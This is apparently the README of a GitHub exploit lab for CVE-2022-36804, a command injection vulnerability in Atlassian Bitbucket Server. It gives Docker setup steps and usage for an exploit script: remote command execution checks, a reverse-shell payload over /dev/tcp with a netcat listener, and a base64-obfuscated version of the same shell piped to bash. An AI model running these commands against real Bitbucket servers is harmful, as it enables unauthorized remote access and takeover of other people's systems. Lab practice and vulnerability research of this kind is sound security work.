imbas007 / Atlassian-Bitbucket-CVE-2022-36804

Atlassian-Bitbucket-Server-CVE-2022-36804

A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions <7.6.17, <7.17.10, <7.21.4, <8.0.3, <8.1.2, <8.2.2, and <8.3.1

Lab for CVE-2022-36804

Build Docker

docker build -t bitbucket .

Run Docker

docker run -it bitbucket

Usage cve-2022-36804.py

Check for Remote Code Execution (RCE)

python3 cve-2022-36804.py -u http://172.17.0.2:7990

Check for RCE with customized command (cmd)

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id

Check for RCE with customized command, project key, and repository name

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo

Get shell with netcat

Replace 172.17.0.3 with your local ip address

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "sh -i >& /dev/tcp/172.17.0.2/4444 0>&1"

Start netcat listner with:

nc -lvp 4444

Reverse shell online : https://www.revshells.com

Convert `sh -i >& /dev/tcp/172.17.0.2/4444 0>&1` to base64 in case of payload execution error. 

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE3LjAuMi80NDQ0IDA+JjE=' | base64 -d | bash"

It is recommended to install vulnerable version of Bitbucket server in Windows/Linux machine for practice. It will be easy to achieve reverse shell compared to docker images.

More information can be found [here](https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/)

# References
* https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
* https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/
* https://github.com/walnutsecurity/cve-2022-36804